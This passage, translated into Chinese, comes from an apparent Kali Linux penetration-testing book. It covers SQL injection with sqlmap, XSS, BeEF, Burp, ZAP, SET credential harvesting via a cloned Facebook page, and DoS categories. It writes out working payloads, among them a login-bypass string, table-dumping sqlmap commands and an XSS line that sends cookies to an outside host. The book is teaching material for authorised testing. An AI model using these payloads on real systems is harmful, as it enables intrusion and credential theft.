 抓取图片，并将图片放到位于/root/Desktop/CapturedImages目录中。


 下面的例子假设我们已经用eth0
 作为监听端口建立了一个中间人攻击环境。




Driftnet启动后，它会打开一个新的空白终端窗口。如果你让Driftnet显示图片，图片就会显示在这个窗口。如果你选择不要显示图片，比如用了选项-a，那么图片就不会出现在这里，不过，图片会发送到命令中指定的目录。下面的截图显示的是从正在浏览www.drchaos.com
 的受害者那里抓取图片。







5.4　SQL注入



数据库存储着数据，并将数据以某种逻辑顺序进行组织。Oracle和Microsoft SQL是流行的数据库管理系统的例子，它们允许用户创建多种类型的数据库来用于存储，并以全新的方式来组织数据。

结构化查询语言，也就是我们熟知的SQL，是底层通用编程语言，可以被大多数数据库管理系统理解。它使用一组数据库可以理解的公共命令，为应用访问数据库中的数据提供了一个通用途径。

攻击者可以对这些数据库进行利用，使其显示本不该显示的输出信息。有时这种攻击会非常简单，就是攻击者直接向数据库管理系统查询一些特权信息。有时，攻击者利用的是数据库管理员的不当配置。攻击者也可能会利用数据库管理系统的漏洞，他们通过这些漏洞可以查看或写入数据库中的特权命令。

攻击者经常会通过表单或Web页面中允许用户输入的其他部分来发送恶意代码。举个例子，攻击者可能会输入随机字符，以及长声明，这样就能发现输入变量和参数设计中的薄弱的地方。如果某个输入字段被设为只接受不超过15个字符的用户名，那么错误提示就会显示数据库是如何被配置的细节。

Firefox插件HackBar支持测试SQL查询，并将你的查询注入，改变SQL请求。HackBar插件也允许渗透测试人员检查HTTP提交的信息。




在下面的例子中，我们会尝试在网站DrChaos.com上进行SQL注入。我们先在Kali服务器控制台上用Firefox打开www.DrChaos.com
 ，并尝试登录该网站。首先，我们尝试用用户名administrator和密码12345来登录。登录不会成功。

这时，进入Firefox的View
 菜单栏，选择HackBar
 菜单。点击Load URL
 按钮，并点击Enable Post data
 按钮。你会看到我们要登录的URL以及刚刚尝试的用户名和密码。




现在我们来在用户名administrator后面加一个单引号。就在我们点击Execute
 按钮后，我们收到了一个SQL注入。这说明服务器可能是有SQL注入的漏洞的，因为服务器返回了SQL错误。




我们在该行尾部添加一个OR 1=1 ##语句来添加一个SQL注入。




执行代码后，我们就以管理员身份登录到了www.drchaos.com
 。




我们已经给www.DrChaos.com
 打了补丁，所以这种攻击对它已经没用了。不过，你能看到SQL注入对攻击来说非常有用，因为它们能为Web渗透测试人员提供一个获得系统的全部权限的简便方法。

SQL注入是否成功取决于攻击者对SQL命令的理解。如果你需要温习一下SQL技能，我们建议你看看位于http://www.w3schools.com/sql/sql_intro.asp
 的W3学院SQL教程。



sqlmap



sqlmap可以用于自动化检测和利用SQL注入漏洞的过程以及接管数据库服务器。sqlmap自带了一个检测引擎，以及大量的渗透测试功能，从数据库指纹到访问底层文件系统和在操作系统上通过带外连接执行命令。

功能还包括对通用数据库管理系统的支持、对许多SQL注入技术的支持、枚举用户、密码哈希，以及许多其他功能。sqlmap也支持通过Metasploit的Meterpreter的getsystem
 命令来对数据库的用户特权进行提权。

sqlmap是一个可对数据库服务器进行利用的Kali内建工具。要使用sqlmap，你需要将该工具指向Web服务器上某个调用SQL的脚本的URL。这些都能辨别，因为它们通常会在URL中带php
 。

你可以浏览Vulnerability Analysis
 > Database Assessment
 > sqlmap
 。它会打开个终端窗口来显示sqlmap的帮助信息。

使用sqlmap的基本语法格式为：



sqlmap –u URL --function







有个常用的功能是的dbs。dbs
 关键字会让sqlmap
 获取数据库。



sqlmap -u http://www.drchaous.com/article.php?id=5 --dbs










你能从我们的结果中看出我们已经有若干找到的数据库了。在这个例子中，我们会将精力集中在test数据库上。

找到了有漏洞的Web服务器之后，你可以通过使用-D
 命令和数据库的名称来选择数据库。



sqlmap –u http://www.drchaos.com/article.php?id=5 -D test  --tables








tables
 关键字用于取得我们的Web服务器上test
 数据库中的所有表。我们能看到，我们已经成功获取了两张表——admin
 和content
 。




调用如下命令后，sqlmap
 会显示所有的表：



sqlmap -u http://www.drchaous.com/article.php?id=5  -D test --tables







特定行也可用如下命令来选择：



sqlmap -u http://www.drchaous.com/article.php?id=5  -T tablesnamehere --columns







如果在表中有任何相关信息，你可以用如下命令来搜索：



sqlmap -u http://www.drchaous.com/article.php?id=5  -T tablesnamehere -U test --dump







它会创建一个名为test
 的文件，然后将数据库表中的所有原始数据都转存到那个文件中。许多情况中，这些信息包括密码和其他敏感信息。




5.5　跨站脚本（XSS）



跨站脚本是Web应用中出现的一个漏洞。XSS允许攻击者向网站注入脚本。这些脚本可用于修改Web服务器，或是影响连接到该Web服务器的用户。

跨站脚本占了常见的基于Web的攻击中的绝大多数。许多时候，当我的团队被客户要求检查已被侵入的丢失了数据的Web服务器，结果都是跨站脚本攻击造成的结果。跨站脚本攻击使得攻击者可以在网站上涂鸦、将恶意软件分发给客户端，并从网站窃取敏感信息，如信用卡号和其他个人可识别信息。

一个用于检查跨站脚本漏洞的方法是检查输入字段，如搜索框，是否有漏洞。有个用于测试网站上的输入字段的例子是使用简单的搜索字符串，如下：



CHAOS<script>alert('www.DrChaos.com')</script>







你可以用前面的脚本测试任何网站，不过，我们不建议在碰到的每个网站中都输入这个字符串，因为它会引起目标对你的恶意企图的注意。如果你决定使用一个类似的脚本来测试跨站脚本漏洞，确保你在脚本中用的是其他网站，而不是www.DrChaos.com
 。




5.6　测试跨站脚本



谷歌创建了Gruyere项目，并以此作为测试Web应用漏洞利用和防御的一个途径。Gruyere项目的网站也签入了若干漏洞，其中包括XSS。你可以自己运行线上的Gruyere项目，或者你也可以将它下载到本地用作测试。




我们登入了自己的Gruyere之后，就能将之前的字符串复制到username输入字段，并点击Submit
 按钮。下面的截图显示的是显示了CHAOS
 脚本的Gruyere主页。

在输入字段输入的字符串如下：



CHAOS<script>alert('www.DrChaos.com')</script>










我们在用户名输入字段运行了XSS脚本后，我们应该能看到有些代码页显示在网站上了。这时，我们就能在网站上一看到用户名时生成一个警报弹窗。




除此之外，http://xss.progphp.com/
 是另一个测试XSS攻击和脚本的流行站点。你也可以写一些脚本，将他们输入到网站中，看看XSS会如何跟网站和你自己的Web浏览器安全地交互。




5.7　XSS cookie盗取/身份认证劫持



脚本小子可能会用XSS来生成警报弹窗，不过，作为专业渗透测试人员，XSS的真实价值在于获得访问系统的特权。下一节我们将会介绍如何做。如果你没有这么做过，那么在线创建一个自己的Gruyere实例来测试下节中介绍的概念。

访问http://google-gruyere.appspot.com/start
 ，谷歌应用引擎会创建一个新的Gruyere实例，并分配一个唯一ID，将你重定向回http://google-gruyere.appspot.com/123456/
 （其中123456是这个例子中的唯一ID）。

Gruyere的每个实例都是跟其他实例完全分离的，所以你的实例不会被其他也在使用Gruyere的用户影响。你需要用你自己的唯一ID替换掉所有例子中的123456。

如果你想跟其他人分享在Gruyere上完成的工作和项目（比如，向他们展示一次成功攻击），将带有你的唯一ID的完整链接发给朋友即可。

不要在Gruyere账户上用你在其他真实服务中用到的密码。

举个通过XSS漏洞来窃取会话cookie的例子。如果要在本地网络上使用此技术，你的Kali实验台和带有漏洞的Web服务器必须能够相互通信。由于我们使用的是Gruyere项目，需要给Kali Linux实验台分配个公网IP地址，放到因特网上。这样Kali Linux就能跟目标Gruyere服务器正常通信了。


 通常，给Kali Linux分配一个公网IP地址是很糟糕的做法。执行这步操作意味着你撤开了防火墙，将Kali Linux暴露给了远程攻击者。

在登录Gruyere时，点击屏幕右上方的Sign up
 按钮，创建一个用户名，如下方截图所示：




在这个练习中，我们会创建两个分离的账户。让我们先用第一个账户登录。在这个例子中，我们的第一个账户名为TheDude
 。下一步，跳到代码片段部分，创建一个新的代码片段。我们会在这里输入XSS脚本，如下方的截图所示：




我们知道Gruyere内含XSS漏洞，所以会在这里调用脚本。在现实环境中，我们会对目标网站使用同样的脚本来测试它是否含有XSS漏洞。举个例子，如果我们知道Facebook的中间名字字段有可以被XSS攻击利用的漏洞，攻击者就需要创建一个个人档案，并将这个脚本用作中间名。

Facebook对这种攻击方式的漏洞利用是免疫的。这里只是个假设的例子。

我们输入了如下代码：



<script>document.write("<img src='http://kali.drchaos.com/var/www/xss_



   lab/lab_script.php?"+document.cookie+"'>")</script>








 虽然在你输入该命令时它可能会在显示上自动换行，但它必须以单条命令的形式输入。

这只是可用于对有漏洞的系统进行漏洞利用的诸多脚本中的一个。本书的重点是利用Kali Linux中的工具，不过，顶尖的渗透测试人员会使用行业中可用的类如Kali Linux的各种工具，以及各种定制工具，如攻陷目标的XSS脚本。我们建议你利用Gruyere目标实例来继续研究本话题和测试新的攻击脚本，藉此来掌握构建和执行定制脚本攻击的能力。




5.8　其他工具



Kali Linux中还带有一些符合本章主题的其他工具。



5.8.1 urlsnarf



urlsnarf是一款用来将所有在HTTP网络数据中嗅探到的请求URL以通用日志格式（CLF，Common Log Format，几乎所有Web服务器都在用的日志格式）
 输出的工具，适用于你要用偏好的Web日志分析工具（analog、wwwstat等）对其进行离线后期处理的情况。

要访问urlsnarf，你可以浏览Sniffing/Spoofing
 > Network Sniffers
 ，然后选择urlsnarf
 。它会弹出一个终端显示该工具的选项信息，如下方的截图所示：




要使用urlsnarf，输入urlsnarf -i
 和你要监测的网卡。urlsnarf会显示它正处于监听状态。下面的截图显示的是urlsnarf
 正在监听eth0
 ：




urlsnarf会显示一份它监测到的所有线上URL请求的转存。举个例子，一个Windows用户访问了www.thesecurityblogger.com
 。urlsnart中会显示所有URL请求，以备后用。






5.8.2　acccheck



acccheck是一款密码字典攻击工具，它的目标是使用SMB协议的Windows身份认证。acccheck是对smbclient二进制文件的一个脚本封装，因此，它的执行过程会依赖smbclient。



5.8.3　hexinject



hexinject是一款通用数据包注入工具和嗅探工具。它提供了一个用于原始网络访问的命令行框架。hexinject被设计成了跟其他命令行工具一起使用，因此它能加速创建可读性好的强大shell脚本的过程，并以透明的方式来拦截和修改网络数据。hexinject可以将任何东西注入到网络中，也能用于计算校验和和TCP/IP协议的数据包大小字段。



5.8.4　Patator



Patator是一款多用途暴力破解工具，它被设计成模块化的结构，使用方便。Patator的功能包括暴力破解FTP、SSH、Telnet、SMTP、HTTP/HTTPS、POP、IMAP、LDAP、SMB、MSSQL、Oracel、MySQL、DNS、SNMP和密码文件。



5.8.5　DBPwAudit



DBPwAudit可以执行对若干中数据库引擎的密码质量在线审计。该工具被设计成允许添加其他的数据库驱动程序，只要将新的JDBC驱动复制到JDBC目录即可。




5.9　小结



对身份认证进行攻击允许攻击者扮作已通过认证的用户。在对Web应用进行渗透测试时这种方法非常有用，因为拥有已认证用户的访问权限意味着你已经绕过了最传统的安全防御系统。

本章着重介绍了攻击用户和系统如何进行身份认证。首先，我们概要地介绍了用于确认身份的不同方法。之后介绍了对管理身份认证会话过程的攻击。其后又通过对cookie管理进行攻击，介绍了会话数据是如何在用户的浏览器中存储的。然后我们介绍了如何通过各种方式的中间人攻击技术来隐藏在目标中间，以便截获身份认证会话。最后两节评估了Web应用服务器的身份认证漏洞，比如SQL注入和跨站脚本。

下一章将介绍对服务器和客户端的远程攻击或基于Web的攻击。

 




第 6 章　Web攻击



本章重点讨论基于因特网的攻击。公司的安全管理员一般都知道因特网上有一些恶意群体，他们会持续不断地寻找对网络进行渗透的方式。作为防御，管理员要采取一些安全措施，常见的包括防火墙、IPS/IDS、基于主机的安全产品（如反病毒程序）、内容过滤器等。过去，这些防御方式还足够用，不过，现今威胁已经变得越来越复杂，甚至能绕过商业安全产品或“COTS”安全解决方案。本章介绍的工具会包含Kali Linux中的方法，用于绕过位于远程位置的标准安全防御措施。

本章将把渗透测试人员攻击工具集中的工具介绍完。通过前几章的学习，你应该已经懂得如何完成对目标的侦察，找出服务器端和客户端的漏洞，以及如何对它们进行漏洞利用了。本章将会介绍将Web应用用作前端的情况下的最后一类攻击。此外，我们还会探索如何利用Web服务器自身来通过漏洞利用危害Web应用，比如浏览器漏洞利用攻击、代理攻击和密码搜集。我们还会介绍如何使用拒绝服务攻击技术来中断服务。




6.1　浏览器漏洞利用框架（BeEF）






浏览器漏洞可能会被各种恶意软件利用，篡改浏览器的预期行为。这些漏洞都是常见的攻击路径，因为大多数主机系统都会用到某种形式的Web浏览器应用。让我们一起看一个用于利用浏览器漏洞的流行工具。

有许多很酷的渗透测试应用程序可以添加到你的黑客攻击兵器库中，比如我们最喜欢的工具之一，浏览器漏洞利用框架（BeEF，Browser Exploitation Framework）
 。BeEF是一个基于浏览器的漏洞利用包，它会“钩住”一个或多个浏览器作为发起攻击的滩头堡。攻击者可以通过让用户访问一个定制URL来钩住用户，用户看到的依然是典型的Web页面，而攻击者已经访问了用户的会话。BeEF绕过了网络安全部署和基于主机系统的反病毒程序，它瞄准的是常见浏览器中找到的漏洞，比如IE和Firefox浏览器。

BeEF并没有包含在Kali Linux的1.0发布版本中，但可以在beefproject.com网站上下载。我们期望BeEF可以凭借它在渗透测试社区中的流行度加入到Kali Linux的未来某个版本中
1

 。



1

 Kali Linux 1.0.5（译本书时的最新版本）中是带有BeEF的。你可以浏览
 
Exploitation Tools

 >
 
BeEF XSS Framework

 ，选择
 
beef

 来启动。——译者注


要安装BeEF，以root用户身份打开Kali Linux上的命令行终端，调用如下命令：



apt-get update



apt-get install beef-xss










在运行apt-get update命令时，它可能会询问你是否要安装、更新或是覆盖某些旧文件。大多数情况下，你只要接受默认提示即可。当更新过程结束时，你可以用apt-get
 来安装BeEF：




该过程结束时，你就已经在Kali Linux上安装好了BeEF。

要启动BeEF，你需要切换到/usr/share/beef-xss目录，并输入./beef来启动BeEF服务器。BeEF服务器启动后，用于管理BeEF及钩住受害者的URL会显示在终端窗口中：




要访问管理服务器，打开一个Web浏览器，访问/ui/panel链接。在将受害者引向BeEF的钩子时，将受害者重定向到BeEF服务器的钩子链接上，即hook.js
 。你需要找到一个策略来让受害者访问你的钩子链接，如钓鱼或是社会工程学攻击，总之是要将用户重定向到BeEF上。

在这个例子中，我们会访问http://172.16.86.144:3000/ui/panel。默认的用户名和密码都是beef。




当用户点击“hook.js”或是重定向回“hook.js”网站时，BeEF服务器上的攻击者会看到钩住的浏览器。BeEF会将该新系统添加到目标列表中，当被钩住的受害者在线时，将他们显示出来。当离线受害者再次连接到因特网上时，他们就会成为可被攻击的对象，如果他们在重新使用因特网前访问过钩子链接。下一个截图显示的是BeEF的主界面以及可用于向被钩住的系统发起攻击的选项：




前面的例子显示了一个被钩住的Windows笔记本。BeEF可以显示细节信息，比如受害者使用的是否是Firefox、Windows 32系统、特定的浏览器插件、脚本等，以及是否启用了Java等其他有用信息。攻击者可以在被钩住的机器上执行命令，比如弄出一个钟声、抓取会话cookie、截屏、记录按键信息，甚至用被钩住的浏览器作为攻击其他系统的代理。另一个例子是用被钩住的系统登录到Facebook上，使用BeEF来捕捉会话cookie。攻击者可以回复已通过身份认证的会话，获得受害者Facebook账户的全部访问权限。邪恶和破坏的可能性是了无止境的。这个滩头堡可以允许攻击者不受限制地访问用户的浏览器以及获得拿到访问权限所需的所有信息。

BeEF会提供被钩住系统的细节信息，并记录被执行的命令。各个独立主机的详情和成功执行的命令的日志信息都会被复制到一个最终的可交付的报告中：







防御基于浏览器的渗透工具非常困难。最好的防御是保证所有基于浏览器的软件都被更新到了最新版本，打了安全补丁，并禁用了浏览器中的Flash和Java。此外，能够检测常见的基于应用的威胁的安全解决方案可以多提供一层安全加固，如下一代入侵防御系统（NGIPS，Next Generation Instrusion Prevention System）
 。如BeEF等渗透工具的大多数受害者都是点击了伪装成可信团体的邮件或社交媒体访客中的链接的用户，而实际上这些链接都是用恶意链接、软件或代码等包装过的。




6.2　FoxyProxy（Firefox插件）






如果你计划使用代理如Zed攻击代理（ZAP，Zed Attack Proxy）
 或BURP
 来测试Web应用，你可能要用Firefox的插件FoxyProxy
 来简化它们之间的切换以及启用代理的使用。FoxyProxy是一款Firefox扩展，它允许你轻松地管理、修改、启用或禁用Firefox上的代理设置。你可以从Firefox扩展库中下载FoxyProxy。

安装好FoxyProxy后，它会在Firefox浏览器窗口的顶部添加一个图标。点击该图标可以打开FoxyProxy的选项窗口：







为了将代理添加到FoxyProxy中，你可以做如下操作：

1.点击Add New Proxy
 按钮，它会弹出一个新窗口；



2.选择Manual Proxy Configuration
 ；



3.输入IP地址或主机名，以及代理服务器的端口号；



4.点击OK
 保存该代理设置。




此时，FoxyProxy处于禁用状态，所有流量都不会通过代理服务器，正如上方标签中所示，Completely disable FoxyProxy
 。要使用代理，点击该标签，将它切换成你要用的代理。该功能使得在Firefox中快速切换代理或是禁用代理很方便。







6.3　BURP代理






Burp代理（Burp Proxy）是一款拦截HTTP和HTTPS流量的工具。它允许渗透测试人员检查某个应用、它的漏洞以及客户端和Web服务器之间的双向数据流。Burp代理非常流行，因为它不只能用来检查数据流，还能用来篡改请求数据。接下来我们会详细介绍如何用Burp代理来篡改、回复和窃取身份认证信息。

首先，重要的是记住Burp代理实际上是Burp套件（Burp Suite）
 中的一部分。它是一系列工具的集合。当用户在他们的Web浏览器中输入如http://www.DrChaos.com
 的URL时，他们期望被重定向到该站点。代理服务器会拦截该请求，并代表客户端发送该请求。代理服务器通常都是用于查看数据流和保护客户端远离恶意数据的。作为渗透测试人员，你可以用代理服务器拦截来自客户端的数据流，复制该请求，或篡改它：




要启动Burp套件，你可以浏览Kali
 > Sniffing/Spoofing
 > Web Sniffers
 ，然后选择Burp Suite
 。

Burp套件启动后，你会看到Burp的启动主界面：




要配置Burp，点击Proxy
 标签。默认情况下，Intercept
 按钮会在此标签中被选中。当Intercept
 选项被打开时，Burp会阻止所有从Web浏览器发往Web服务器的所有请求。渗透测试人员可以在查看请求后人工允许可以继续的链接。


 Intercept
 按钮需要人工干预，否则请求永远也不会到达Web服务器。

下一个能看到的配置设置是Options
 子菜单。本节会允许用户检查或修改Burp运行的默认端口，并配置Burp可以看到的网卡或网络。默认情况下，Burp会被射程运行在本地环回网卡上，如下面的截图所示。环回网卡是一个特殊的网卡接口，通常会跟127.0.0.1
 这个IP地址关联。它并没有跟它绑定的物理硬件连接，而只是操作系统引用自己的一种方式。换句话说，当你要在网络中跟自己通信时，可以用环回。如果你计划在本地机器外测试Burp套件，需要添加以太网卡接口和IP地址。

在这个例子中，我们会采用环回网卡接口：




下一步是对浏览器进行配置，使其使用Burp套件。所有浏览器使用代理服务器都有个类似的方式。在下一个例子中，我们会描绘一下在Firefox上对配置进行设置的过程，见下页图。




下面的这个例子中，我们将会在Firefox中访问一个URL，比如www.DrChaos.com
 。你会观察到什么也没发生。这是因为默认情况下拦截功能是启用的，如我们在前面所说。现在你能在Burp中看到Intercept
 标签的颜色改变了，说明已经有一个新请求被拦截了。

在你点击Intercept
 标签时，你能看到该请求的详情。现在你可以点击Forward
 或Drop
 来允许或拒绝该请求是否继续：




在你点击Forward
 按钮时，你会看到请求会继续发往服务器，以及从服务器返回的响应。还有，你应该能在Web浏览器中看到该网页成功加载了。有些Web页面有多个模块，这样你可能需要多次选择Forward
 按钮，Web页面才能完全加载。

另一个很酷的功能是Burp爬虫。Burp爬虫提供了以自动化方式将Web应用的请求关系映射出来的一种途径。Burp爬虫工作的原理是你先设置Burp来作为因特网连接代理，如我们在前面介绍过的。之后，你可以启用Burp爬虫，当它在运行时，Burp会将所有请求映射出来，它还提供了爬取所有截获的请求以找出新目标的功能。

要使用爬虫，点击Spider
 标签进入默认配置页面。点击Spider is paused
 按钮，将其状态改为Spider is running
 ：




Burp会将代理看到的所有请求都映射到Target
 标签下。点击Target
 标签来看看它都截获了哪些请求。它会显示一个代理上在用的目标列表。灰色URL代表你并没有直接浏览这些目标，而黑色URL则是直接浏览的那些站点：




要使用Spider
 功能，右键点击某个目标，并选择Spider this host
 ：




当你在Burp中访问Spider
 标签时，你会注意到Spider Status
 计数已经从0变成了一个累加的数字：




只要Burp遇到了任何表单，它就会提示你填充表单或是忽略它们。如果你填完了表单，Burp会继续观察它在表单提交之后的页面上还能爬取什么：




在爬取过程结束时，返回Targets
 标签，找到你最开始选择爬取的主机。点击主机旁边的三角形展开它。你会在原来的目标下看到所有的爬取结果：




Burp显示了爬取过程中截获的所有页面和链接。此外，他还会截获根目录、Web页面样式、子目录和Java代码。下一个例子显示的是www.DrChaos.com
 站点上截获的多个子目录。

Burp能够用页面上方的灰色Filter
 横条来过滤下方的条目。在你点击Filter
 按钮时，它会展开可以用于过滤结果的可用选项：




Burp中的Spider
 选项允许Web渗透测试人员查看某个Web应用或网站是如何配置的，包含哪些链接，以及这些链接指向哪里。这个概念就好比站在一间有很多扇门的房间内，而你要具备能同时探索每扇门的能力。




6.4　OWASP（ZAP）



ZAP是一个使用简便的集成渗透测试工具，用于找出Web应用中的漏洞。我们在第3章中有关扫描目标上潜在的漏洞的内容里简要地介绍过如何使用ZAP。让我们在找出和利用跨站脚本（常用XSS
 来指代）漏洞部分时，再温习一下ZAP。

ZAP是Kali Linux 1.0中内建的工具。你可以浏览Sniffing/Spoofing
 > Web Sniffers
 ，然后选择Owasp - ZAP
 来运行它，或是简单地打开一个终端窗口，输入zap
 ，如下方的例图中所示：




下面是对搭建ZAP以及将其和Firefox一起使用的总结，如第3章中介绍的。

1.接受用户使用协议。



2.生成一个SSL证书或是导入已有证书。



3.将证书导入到Web浏览器中，如Firefox；你可以访问偏好设置
 > 高级
 ，然后选择加密
 子标签。



4.点击View Certificate
 ，导入该证书。



5.勾选跟使用新证书有关的所有信任选项。



6.将Web浏览器设为使用ZAP作为默认代理。在Firefox中，你可以在偏好设置
 > 高级
 > 网络
 中设置。



7.输入代理服务器localhost
 和端口号8080
 ，也就是ZAP代理的默认端口。



8.将所有协议都勾选使用代理服务器。


 在使用ZAP之前，你需要生成一个证书。

ZAP和Firefox配置好后，在Firefox中加载任意URL。你能看到网站现在会出现在ZAP的Sites
 标签页中。在这个例子中，我们会访问www.DrChaos.com
 并注意到我们已经加载了一些网站，这是因为www.DrChaos.com
 主页上的所有链接。




ZAP有个选项用来决定以主动还是被动方式运行扫描器。被动扫描不会执行攻击，对任何Web应用运行都应该是安全的。主动扫描会运行一些攻击，并会主动针对Web应用运行一些代码，它可能会触发特定安全防御产品的警报装置。

下面的例子会同时使用主动扫描和被动扫描。最好是能够自己搭建一个可供测试的Web服务器，而不是用ZAP在非授权的Web服务器上乱试。由于我们想在已授权的带有漏洞的Web服务器上练习，我们会回去继续用Google Gruyere
 项目。

谷歌是将Gruyere项目作为测试Web应用的漏洞利用和防御的一种途径创建的。Gruyere项目网站有若干个嵌入的漏洞，包括XSS。你可以运行你自己的线上Gruyere项目，或者你也可以将它下载到一个本地机器用于测试：




创建你自己的Gruyere实例来测试ZAP。在测试时，你会拿到一个自己的唯一URL。我们拿到的URL是http://google-gruyere.appspot.com/326352883334/
 。

我们回到ZAP中，对上面的链接做个快速扫描：







截图的例子中显示的是一些种子文件，包括有个标签很有趣的：http://google-gruyere.appspot.com/326352883334/invalid
 。

将这个链接放到浏览器中时，我们会得到如下的错误消息：




在XSS中，URL中最危险的字符就是<和>。如果一个黑客发现能够直接通过<和>让某个应用在页面中插入他期望的内容，那么它就打开了可用于注入恶意脚本的大门。这里有一些其他有趣的种子文件：










这里有个利用这些种子链接中的某个来注入脚本的例子。我们会创建一个URL，然后加上alert(1)
 脚本来看看网站是否会创建一个弹出的错误：



http://google-gruyere.appspot.com/326352883334/



<script>alert(1);



</script>










这个例子显示我们的目标Web应用服务器会调用一个弹出框，证明这个站点是有机可乘的。我们可以用ZAP来回放该攻击，尝试其他攻击或是测试类似的XSS方法。

我们建议你好好观摩一下你发现的错误，看看你是否能在渗透测试练习中做一些修改来输出敏感信息。Gruyere项目是使用ZAP来练习找出其他漏洞的绝佳途径。

为了防御远程攻击，ZAP特别适合测试Web漏洞，如XSS攻击。有些人认为如果浏览器标称它具备防御跨站脚本攻击的功能，那么用户在浏览网站时就不必关心XSS。这句话背后的事实是，你并不能完全信任浏览器的保护功能，因为浏览器并不知道Web应用背后的代码到底有多安全。聪明的黑客有可能会避开那些保护，比如对用户用来访问网站的主机进行XSS漏洞利用和脚本调用。保护服务器和客户端的最佳实践是用类似ZAP的工具找出漏洞并修复漏洞。




6.5　SET密码收集



我们在第4章中介绍了社会工程工具集（SET，Social Engineering Toolkit）
 的一些基本概念。这里我们会继续回到SET，并看看有关密码收集和获取特权信息的一些高级知识。

作为知识刷新，我们会浏览Exploitation Tools
 > Social Engineering Tools
 > se-toolkit
 来启动SET。

确保SET更新到了最新版本，如果是首次使用的话。更新SET工具及验证Git是否已安装的步骤可以在第4章中找到。


 在SET克隆网站时，它会运行一个Web服务器。重要的是你的目标对象能够连到你的Web服务器上。这意味着任何基于因特网的攻击都需要用到一个公网IP地址（不管是通过NAT还是直接在Kali Linux上配置），并要放开防火墙规则以便从远程位置连接到Kali上。

完成IP配置工作之后，你就可以启动SET了：




我们现在用SET来收集密码。SET能克隆任何网站。在这个例子中，我们实际上会让它克隆最受欢迎的一个社会工程网站。同意用户授权协议后，你就能看到SET的主界面了：





 我们建议选择选项5，在使用SET前先对其进行更新以便用的是最新的版本。如果你得到了一个错误，说Git仓库不存在，你可能没有正确安装Git，或是写作本书时的步骤已经改变。请参考本书出版商的网站，或是Aamir Lakhani位于www.DrChaos.com
 的博客，或是Joseph Muniz位于www.thesecurityblogger.com
 的博客来了解更多有关在Kali Linux上使用SET的技巧。

1.SET被更新后，选择选项1来进行社会工程攻击。



2.选择选项2来选择网站攻击路径。



3.选择选项3来进行凭据收集者攻击。

有关如何克隆网站你可以有一些选择。SET为流行站点提供了模板，比如Facebook和Gmail。有时这些模板会无法工作，不过我们建议以这些模板开始使用SET，或是克隆其他站点。要克隆一个网站，你需要提供一个URL，SET会自动尝试克隆它。

如果你已经克隆了一个网站，或是在Kali中加载了HTML文件，可以选择定制导入。当选择此选项时，你需要告诉Kali这些HTML文件存储在本地文件系统的什么位置。

在这个例子中，我们选择使用Web模板。SET会询问它要监听哪个IP地址。这个IP地址应该是Kali Linux上的那个网卡的。有一种例外情况是当在防火墙上使用NAT时。那种情况下，你需要使用NAT或是公网IP地址，而不是Kali Linux的IP地址，这样目标才能访问系统。下一个例子将使用本地环回地址127.0.0.1。

下一步，SET会询问你要选择哪个模板。在这个例子中，我们选择Facebook。

下一个例子显示的是一个Web浏览器访问了127.0.0.1，并显示了我们伪造的Facebook页面。如果某个模板页面看起来不太对劲，你可能要用其他模板，或是克隆要用的页面：




注意，我们的地址栏显示的是127.0.0.1。通常，你需要用其他攻击路径来诱导用户访问你的网站。有很多种办法可以实现此目的，比如给用户发送一个链接或仿冒的电邮：




当我们在仿冒的Facebook网站上输入用户名时，SET会截获这部分网络数据。SET依然会将用户重定向到真实网站。攻击成功的希望在于受害者在被重定向到真实的Facebook时，他们以为输入了错误的密码而继续使用Facebook，而不知道SET已经截获了他们的登录凭据：




前面的例子显示出SET已经抓到了我们的用户名DrChaos
 ，密码是ILoveKali
 。

在完成这个练习时，按下Ctrl+C退出SET工具，它会生成一个HTML报告。SET创建了一份专业报告，可用于你的渗透测试报告中：







6.6　Fimap






Fimap是一款Python工具，用于自动查找、准备、审计、利用和用谷歌搜索Web应用中的本地和远程文件包含（LFI和RFI）Bug。

Fimap可以在Web Applications
 > Web Vulnerability Scanners
 > Fimap
 中找到。在你打开Fimap时，它会打开一个终端窗口，显示主屏幕。Fimap有一些插件选项，你可以通过如下命令下载安装：



fimap --install –plugins







所有可用插件都会显示到一个列表中，并会显示一个选项来选择安装或是退出。在下面的例子中，有两个可供安装的插件。你需要运行两次安装命令来分别安装各个插件：




要使用Fimap，首先你需要通过指定URL来确定你的目标。指定URL时它会有多种选项，你可以指定一个URL，或是用谷歌来获取一系列URL，或是从其他URL中提取URL等方法。它如何处理表单和首部也会有多种选项。在下面的例子中，我们会指向www.thesecurityblogger.com
 。

要扫描thesecurityblogger.com网站，输入如下命令：



fimap -u 'http://wwwthesecurityblogger.com'







Fimap会试图找出所有的文件包含漏洞。下面的例子显示的是我们的目标上没有发现可用于文件包含攻击的漏洞：







6.7　拒绝服务攻击（DoS）



通常渗透测试联系都会侧重找出安全中的空隙，而不是危害某个系统。这是区分真实攻击者和经过授权的渗透测试人员的一项重要功能。真实的黑客不会遵循这些规则，也不会关心是否会中断别人的业务，只要攻击有助于提升他们。有些情况中，黑客希望对目标造成任何形式的负面影响，包括搞垮关键的系统。出于这点，有些情况中，对系统进行测试、判定系统被拒绝服务攻击（DoS，Denial of Service）
 的风险很有必要。这种测试通常会称为对连接到因特网的服务的压力测试。


 对某项资产进行测试、找出DoS漏洞时，务必要拿到批准。有些攻击方法可能会在渗透测试结束后对系统造成负面影响。我们建议可能的话，你尽量对冗余系统、实验设备或是非生产系统进行测试。

最常见的DoS攻击都会包含用额外通信请求来形成流向目标的洪水。这些过载会导致资源无法响应合理网络请求，或是显著地降低响应速度，以至于几近不可用。DoS攻击可以针对系统资源（即硬盘空间、带宽等）、配置信息（即删除路由表等）、状态信息（TCP会话重置）或是能危害系统运行的所有操作。


 DoS跟分布式拒绝服务攻击（Distributed Denial of Service，DDoS）
 之间的区别在于DoS攻击只包含一台机器，而DDoS攻击包含多台。DDoS超出了这里的讨论范围。

有四类主要的DoS/DDoS攻击类别。




	
基于量的攻击（Volume Based Attacks）
 　它包括UDP洪水、ICMP洪水和其他基于欺骗数据包的洪水，其目的在于耗尽受害者站点的带宽。

	
协议攻击（Protocol Attacks）
 　它会消耗服务器的资源或是中间通信设备，比如路由器、防火墙、负载均衡器等。例子有SYN洪水（SYN Flood）、死亡之Ping（Ping of Death）、Smurf攻击（以攻击工具名命名）、泪滴攻击（Teardrop Attack）、数据包碎片攻击（Fragmented Packets）等。

	
应用层攻击（Application Layer Attacks）
 　它会利用合法网络数据来使Web服务崩溃，例如零时差攻击（Zero Day Attack）、漏洞利用等。

	
会话耗尽（Session Exhaustion）
 　通过重复建立会话而不关闭新会话来逼近会话上限，目的是消耗资源。



